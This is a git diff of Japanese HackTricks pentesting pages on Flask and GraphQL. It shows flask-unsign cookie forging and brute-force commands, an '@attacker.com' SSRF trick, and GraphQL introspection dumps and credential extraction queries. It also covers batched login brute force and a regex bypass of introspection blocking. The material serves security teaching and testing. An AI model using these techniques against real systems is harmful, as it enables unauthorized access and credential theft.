[Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 +- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
-
+
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} @@ -25,11 +25,11 @@ HackTricks をサポートする他の方法: ## Cookies -デフォルトのクッキーセッション名は **`session`** です。 +デフォルトのクッキーセッション名は**`session`**です。 ### デコーダ -オンラインFlaskクッキーのデコーダ: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) +オンラインFlaskクッキーのデコーダ:[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### 手動 @@ -39,7 +39,11 @@ echo "ImhlbGxvIg" | base64 -d ``` ### **Flask-Unsign** -コマンドラインツールは、秘密キーを推測してFlaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、および作成するために使用されます。 +パスワードを使用してクッキーも署名されています + +**Flask-Unsign** + +Flaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、およびクラフトするためのコマンドラインツール。秘密キーを推測します。 {% embed url="https://pypi.org/project/flask-unsign/" %} ```bash @@ -63,7 +67,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -flask-unsign で作成されたクッキーを使用してウェブサイトをブルートフォースするためのコマンドラインツール。 +flask-unsignで作成されたクッキーを使用してウェブサイトをブルートフォースするためのコマンドラインツール。 {% embed url="https://github.com/Tagvi/ripsession" %} ```bash @@ -73,7 +77,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p [**この例**](../../pentesting-web/sql-injection/sqlmap/#eval) では、既知の秘密を使用してFlask用にsqlmapペイロードに**自動的に署名**するためにsqlmap `eval`オプションを使用しています。 -## FlaskプロキシからSSRFへ +## Flaskプロキシを使用したSSRF [**この解説**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) では、Flaskが文字「@」で始まるリクエストを許可する方法が説明されています。 ```http @@ -81,7 +85,7 @@ GET @/ HTTP/1.1 Host: target.com Connection: close ``` -次のシナリオにおいて: +次のシナリオにおいてはどちらの方法が適していますか: ```python from flask import Flask from requests import get @@ -96,12 +100,12 @@ return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` -```html -

"@attacker.com"を導入して**SSRF**を引き起こすことができるようになります。

+```markdown +"@attacker.com"のようなものを導入して**SSRF**を引き起こすことができるようになる可能性があります。 -
+
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=flask)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} @@ -113,10 +117,10 @@ app.run(host='0.0.0.0', port=8080) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を入手してください +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 ``` diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 372605313..d5cbc55b1 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -2,40 +2,40 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでAWSハッキングを学びましょう HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。** +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
## 導入 -GraphQLは、バックエンドからデータをクエリするための簡略化されたアプローチを提供する**効率的な代替手段**として**強調**されています。 RESTとは異なり、データを収集するためにさまざまなエンドポイントに対して多数のリクエストが必要なRESTに対し、GraphQLは**単一のリクエスト**を介して必要なすべての情報を取得できます。この効率化により、データ取得プロセスの複雑さが軽減され、開発者にとって大きな**利点**となります。 +GraphQLは、バックエンドからデータをクエリするための簡略化されたアプローチを提供する**REST APIに対する効率的な代替手段**として**強調**されています。 RESTとは異なり、データを収集するためにさまざまなエンドポイントに対して多数のリクエストが必要な場合があるのに対し、GraphQLは**単一のリクエスト**を介してすべての必要な情報を取得できます。 この効率化により、データ取得プロセスの複雑さが軽減され、開発者にとって大きな利点となります。 ## GraphQLとセキュリティ -GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も発生します。重要な点として、**GraphQLにはデフォルトで認証メカニズムが含まれていない**ことが挙げられます。適切な認証が行われない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を公開する可能性があり、重大なセキュリティリスクを引き起こすことになります。 +GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も発生します。 注意すべき重要な点は、**GraphQLにはデフォルトで認証メカニズムが含まれていない**ということです。 適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を公開する可能性があり、重大なセキュリティリスクを引き起こす可能性があります。 ### ディレクトリブルートフォース攻撃とGraphQL -公開されたGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです: +公開されたGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されています。 これらのパスは次のとおりです: -* `/graphql` -* `/graphiql` -* `/graphql.php` -* `/graphql/console` -* `/api` -* `/api/graphql` -* `/graphql/api` -* `/graphql/graphql` +- `/graphql` +- `/graphiql` +- `/graphql.php` +- `/graphql/console` +- `/api` +- `/api/graphql` +- `/graphql/api` +- `/graphql/graphql` -公開されたGraphQLインスタンスを特定することで、サポートされているクエリの調査が可能となります。これは、エンドポイントを介してアクセス可能なデータを理解するために重要です。GraphQLのインスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。詳細については、GraphQLのインスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +公開されたGraphQLインスタンスを特定することで、サポートされているクエリの調査が可能となります。 これは、エンドポイントを介してアクセス可能なデータを理解するために重要です。 GraphQLのインスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。 これについての詳細は、GraphQLのインスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### フィンガープリント @@ -43,27 +43,23 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ #### ユニバーサルクエリ -URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}` を送信できます。応答に `{"data": {"__typename": "Query"}}` が含まれている場合、URLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、GraphQLの`__typename`フィールドに依存しており、クエリされたオブジェクトのタイプを明らかにします。 - +URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}` を送信できます。 応答に `{"data": {"__typename": "Query"}}` が含まれている場合、URLがGraphQLエンドポイントをホストしていることが確認されます。 この方法は、GraphQLの`__typename`フィールドに依存しており、クエリされたオブジェクトのタイプを明らかにします。 ```javascript query{__typename} ``` - ### 基本的な列挙 -GraphQLは通常、**GET**、**POST** (x-www-form-urlencoded)、および**POST**(json)をサポートしています。セキュリティ上の理由から、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されています。 +GraphQLは通常、**GET**、**POST** (x-www-form-urlencoded)、および**POST**(json)をサポートしています。セキュリティのためには、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されています。 #### イントロスペクション スキーマ情報を発見するためにイントロスペクションを使用するには、`__schema`フィールドをクエリしてください。このフィールドはすべてのクエリのルートタイプで利用可能です。 - ```bash query={__schema{types{name,fields{name}}}} ``` +以下のクエリを使用すると、使用されているすべてのタイプの名前が見つかります: -このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます: - -![](<../../.gitbook/assets/image (202).png>) +![](<../../.gitbook/assets/image (1036).png>) {% code overflow="wrap" %} ```bash @@ -71,26 +67,23 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` {% endcode %} -このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これはデータベースをクエリする方法を知るために非常に役立ちます。 +このクエリを使用すると、すべてのタイプ、フィールド、および引数(および引数のタイプ)を抽出できます。これはデータベースへのクエリ方法を知るために非常に役立ちます。 -![](<../../.gitbook/assets/image (207) (3).png>) +![](<../../.gitbook/assets/image (950).png>) **エラー** -**エラー**が表示されるかどうかを知ることは興味深いです。なぜなら、それらは有用な情報を提供するからです。 - +**エラー**が**表示**されるかどうかを知ることは興味深いです。なぜなら、それらは有用な**情報**を提供するからです。 ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` - -**スキーマの列挙を内省によって行う** +**インスペクションを介したデータベーススキーマの列挙** {% hint style="info" %} -内省が有効になっている場合でも、上記のクエリが実行されない場合は、クエリ構造から`onOperation`、`onFragment`、および`onField`ディレクティブを削除してみてください。 +もしインスペクションが有効になっているが上記のクエリが実行されない場合は、クエリ構造から`onOperation`、`onFragment`、および`onField`ディレクティブを削除してみてください。 {% endhint %} - ```bash #Full introspection query @@ -180,16 +173,13 @@ name } } ``` - インラインインスペクションクエリ: - ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` - 最後のコード行は、GraphQLからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするGraphQLクエリです。 -![](<../../.gitbook/assets/image (206).png>) +![](<../../.gitbook/assets/image (363).png>) インスペクションが有効になっている場合、[**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager)を使用して、すべてのオプションをGUIで表示できます。 @@ -197,61 +187,60 @@ name データベース内に保存されている情報の種類がわかったので、いくつかの値を**抽出**してみましょう。 -インスペクションで、**直接クエリできるオブジェクト**を見つけることができます(オブジェクトが存在するだけではクエリできません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトの1つであることがわかります。したがって、フラグオブジェクトをクエリできます。 +インスペクションで、**直接クエリできるオブジェクト**を見つけることができます(存在するだけではオブジェクトをクエリできません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトの1つであることがわかります。したがって、フラグオブジェクトをクエリできます。 -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) -クエリ "_flags_"のタイプが "_Flags_"であることに注意してください。このオブジェクトは以下のように定義されています: +クエリ"_flags_"のタイプが"_Flags_"であることに注意してください。このオブジェクトは以下のように定義されています: -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>) "_Flags_"オブジェクトは**名前**と**値**で構成されていることがわかります。そのため、次のクエリですべてのフラグの名前と値を取得できます: - ```javascript query={flags{name, value}} ``` +注意してください。**クエリするオブジェクト**が次の例のように**string**のような**プリミティブタイプ**である場合 -注意してください。**クエリするオブジェクト**が次の例のように**string**のような**プリミティブタイプ**である場合は、次のようにクエリすることができます: +![](<../../.gitbook/assets/image (958).png>) +次のようにクエリすることができます: ```javascript query={hiddenFlags} ``` +別の例では、"_Query_" タイプオブジェクト内に 2 つのオブジェクトがあった: "_user_" と "_users_"。\ +これらのオブジェクトには検索するための引数が必要ない場合、欲しいデータを要求するだけで、**それらからすべての情報を取得**できます。この例では、保存されたユーザー名とパスワードを抽出できます: -別の例では、"_Query_" タイプオブジェクト内に 2 つのオブジェクト "_user_" と "_users_" がある場合があります。\ -これらのオブジェクトには検索に必要な引数が不要な場合、欲しいデータを要求するだけで**それらからすべての情報を取得**できます。この例では、保存されたユーザー名とパスワードを抽出できます。 - -![](<../../.gitbook/assets/image (208).png>) +![](<../../.gitbook/assets/image (880).png>) ただし、この例では、そうしようとすると次の**エラー**が発生します: -![](<../../.gitbook/assets/image (210).png>) +![](<../../.gitbook/assets/image (1042).png>) -何らかの方法で、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索されるようです。\ -とにかく、[基本列挙](graphql.md#basic-enumeration)セクションでは、必要なすべての情報を示すクエリが提案されていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +どうやら、"_**uid**_" 引数のタイプが _**Int**_ を使用して検索されるようです。\ +とにかく、[基本列挙](graphql.md#basic-enumeration)セクションでは、必要なすべての情報を示すクエリが提案されていることをすでに知っていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind,ofType{name, kind}}}}}}}` -提供された画像を読むと、そのクエリを実行すると "_**user**_" にはタイプ _Int_ の "_**uid**_" 引数があることがわかります。 +そのクエリを実行すると、提供された画像を読むと "_**user**_" には _Int_ タイプの "_**uid**_" 引数があることがわかります。 したがって、軽い _**uid**_ ブルートフォースを実行すると、_**uid**=**1**_ でユーザー名とパスワードが取得されることがわかりました:\ `query={user(uid:1){user,password}}` -![](<../../.gitbook/assets/image (211).png>) +![](<../../.gitbook/assets/image (90).png>) -"**user**" と "**password**" の**パラメータ**を要求できることを**発見**したことに注意してください。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) 次のエラーが発生します: +**注意**: "_**user**_" と "_**password**_" の **パラメータ**を要求できることがわかりました。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: -![](<../../.gitbook/assets/image (213).png>) +![](<../../.gitbook/assets/image (707).png>) -また、**列挙フェーズ**中に "_**dbuser**_" オブジェクトに "_**user**_" と "_**password**_" というフィールドがあることがわかりました。 +そして、**列挙フェーズ**中に "_**dbuser**_" オブジェクトに "_**user**_" と "_**password**_" というフィールドがあることがわかりました。 -**クエリ文字列ダンプトリック (thanks to @BinaryShadow\_)** +**クエリ文字列ダンプトリック (感謝 @BinaryShadow\_)** -`query={theusers(description: ""){username,password}}` のように文字列タイプで検索できる場合、**空の文字列**を検索すると**すべてのデータがダンプ**されます。(_この例はチュートリアルの例とは関係ありません。この例では、文字列フィールド "**description**" を使用して "**theusers**" で検索できると仮定します_). +`query={theusers(description: ""){username,password}}` のように文字列タイプで検索できる場合、**空の文字列**を検索すると、すべてのデータが**ダンプ**されます。(_この例はチュートリアルの例とは関係ありません。この例では、文字列フィールド "**description**" を使用して "**theusers**" で検索できると仮定します_). ### 検索 -このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、また映画を持つことができ、データベース内の関係を示します。 - -名前で人物を**検索**し、そのメールアドレスを取得できます。 +このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、また映画を持つこともでき、データベース内の関係を示します。 +名前で人物を検索し、そのメールアドレスを取得できます: ```javascript { searchPerson(name: "John Doe") { @@ -259,9 +248,7 @@ email } } ``` - -あなたは名前で人を検索し、彼らが購読している映画を取得できます。 - +あなたは名前で人を検索し、彼らが購読している映画を取得できます: ```javascript { searchPerson(name: "John Doe") { @@ -276,11 +263,9 @@ name } } ``` - -次に、人物の`subscribedMovies`の`name`を取得するように指示されていることに注目してください。 +注意してください。人物の`subscribedMovies`の`name`を取得するように指示されています。 また、**同時に複数のオブジェクトを検索**することもできます。この場合、2つの映画を検索します: - ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -288,9 +273,7 @@ name } }r ``` - -または、**別名を使用して複数の異なるオブジェクトの関係**: - +または、**エイリアスを使用して複数の異なるオブジェクトの関係**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { @@ -313,19 +296,17 @@ name } } ``` - ### ミューテーション **ミューテーションはサーバーサイドで変更を加えるために使用されます。** -**インスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_" は "_Mutation_" と呼ばれ、"_Mutation_" オブジェクトにはミューテーションの名前(この場合は "_addPerson_")が含まれています: +**インスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_" は "_Mutation_" と呼ばれ、"_Mutation_" オブジェクトにはミューテーションの名前が含まれています(この場合は "_addPerson_" のような): -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>) -このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、またデータベース内での関係を示すために映画を持つこともできます。 - -データベース内に**新しい**映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションは `addMovie` と呼ばれています): +このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達であり、また映画を持つことができ、データベース内の関係を示します。 +データベース内に**新しい**映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションは `addMovie` と呼ばれています): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -336,11 +317,9 @@ rating } } ``` - **クエリ内でデータの値とタイプが両方示されていることに注意してください。** -さらに、データベースは`addPerson`という**mutation**操作をサポートしており、これにより新しく作成された**persons**が既存の**friends**や**movies**との関連付けが可能です。重要な点として、友達や映画は新しく作成された人物にリンクする前にデータベース内に事前に存在している必要があります。 - +さらに、データベースは`addPerson`という**ミューテーション**操作をサポートしており、既存の**友達**や**映画**への関連付けとともに**人物**の作成を可能にします。新しく作成された人物に関連付ける前に、友達や映画がデータベースに事前に存在している必要があることに注意することが重要です。 ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -368,19 +347,18 @@ releaseYear } } ``` - ### ディレクティブの過負荷 -[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によると、ディレクティブの過負荷は、サーバーが操作を無駄にするまで何百万回もディレクティブを呼び出し、それによってDoS(サービス拒否)攻撃が可能になることを意味します。 +[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によると、ディレクティブの過負荷は、サーバーが操作を無駄にするまで何百万回もディレクティブを呼び出すことを意味し、それによってDoS攻撃が可能になります。 -### 1つのAPIリクエストでのバッチングブルートフォース +### 1つのAPIリクエストでのバッチング・ブルートフォース この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ -**異なる資格情報を持つ多数のクエリを同時に送信**して認証を行うGraphQL API。これはクラシックなブルートフォース攻撃ですが、GraphQLのバッチング機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチにより、外部のレート監視アプリケーションをだまして、パスワードを推測しようとするブルートフォースボットが存在しないかのように見せかけることができます。 +**異なる資格情報を持つ多くのクエリを同時に送信**してGraphQL APIを認証することをチェックします。これはクラシックなブルートフォース攻撃ですが、GraphQLのバッチ処理機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチにより、外部のレート監視アプリケーションをだまして、パスワードを推測しようとするブルートフォースボットが存在しないかのように見せることができます。 -以下は、**1回に3つの異なるメール/パスワードペア**を使用してアプリケーション認証リクエストを行う最も簡単なデモンストレーションです。もちろん、同じ方法で1回に数千を送信することも可能です: +以下は、**1回のリクエストで3つの異なるメール/パスワードペア**を使用してアプリケーション認証リクエストを行う最も簡単なデモンストレーションです。もちろん、同じ方法で1回のリクエストで数千を送信することも可能です: -![](<../../.gitbook/assets/image (182) (1).png>) +![](<../../.gitbook/assets/image (1081).png>) 応答スクリーンショットからわかるように、最初と3番目のリクエストは _null_ を返し、対応する情報を _error_ セクションに反映しました。**2番目のミューテーションは正しい認証**データを持ち、応答には正しい認証セッショントークンが含まれています。 @@ -390,7 +368,7 @@ releaseYear **graphqlエンドポイントがイントロスペクションを無効にする**ケースが増えています。ただし、予期しないリクエストが受信された際にgraphqlがスローするエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)などのツールにとって、スキーマの大部分を再作成するのに十分です。 -さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、Burpを介して通過するGraphQL APIリクエストを**監視**し、新しいクエリごとに内部のGraphQL **スキーマ**を**構築**します。また、イントロスペクションクエリを受信すると偽の応答を返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については、[**こちらをチェック**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、Burpを介して通過するGraphQL APIリクエストを観察し、見た新しいクエリごとに内部GraphQL **スキーマ**を**構築**します。また、イントロスペクションクエリを受信すると、拡張機能は偽の応答を返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については、[**こちらをチェックしてください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 [**こちらでGraphQLエンティティを発見するための素敵なワードリスト**](https://github.com/Escape-Technologies/graphql-wordlist?)が見つかります。 @@ -398,8 +376,7 @@ releaseYear ### **GraphQLイントロスペクション防御のバイパス** -APIのイントロスペクションクエリに制限をバイパスするには、`__schema`キーワードの後に**特殊文字を挿入**すると効果的です。この方法は、イントロスペクションをブロックするために`__schema`キーワードに焦点を当てる正規表現パターンに一般的な開発者の見落としを利用しています。GraphQLが無視するが、正規表現で考慮されていないスペース、改行、カンマなどの文字を追加することで、制限を回避できます。たとえば、`__schema`の後に改行があるイントロスペクションクエリは、そのような防御をバイパスする可能性があります: - +APIのイントロスペクションクエリに制限をバイパスするには、`__schema`キーワードの後に**特殊文字を挿入**すると効果的です。この方法は、`__schema`キーワードに焦点を当ててイントロスペクションをブロックするための正規表現パターンに一般的な開発者の見落としを悪用します。GraphQLが無視するが正規表現で考慮されていない文字(スペース、改行、カンマなど)を追加することで、制限を回避できます。たとえば、`__schema`の後に改行があるイントロスペクションクエリは、そのような防御をバイパスする可能性があります: ```bash # Example with newline to bypass { @@ -407,17 +384,14 @@ APIのイントロスペクションクエリに制限をバイパスするに {queryType{name}}}" } ``` - ### **公開されたGraphQL構造の発見** -インスペクションが無効の場合、JavaScriptライブラリ内の事前読み込みクエリを調べることが有用です。これらのクエリは開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、**公開された機密クエリ**を明らかにします。開発者ツール内で検索するコマンドは次の通りです: - +インスペクションが無効の場合、JavaScriptライブラリ内の事前読み込みクエリを調べることが有用です。これらのクエリは開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに対する洞察を提供し、**公開された機密クエリ**を明らかにします。開発者ツール内で検索するコマンドは次のとおりです: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` - ## GraphQLにおけるCSRF CSRFとは何かわからない場合は、以下のページを読んでください: @@ -426,23 +400,19 @@ CSRFとは何かわからない場合は、以下のページを読んでくだ [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} -GraphQLエンドポイントの中には、**CSRFトークンなしで構成されているもの**がいくつか存在します。 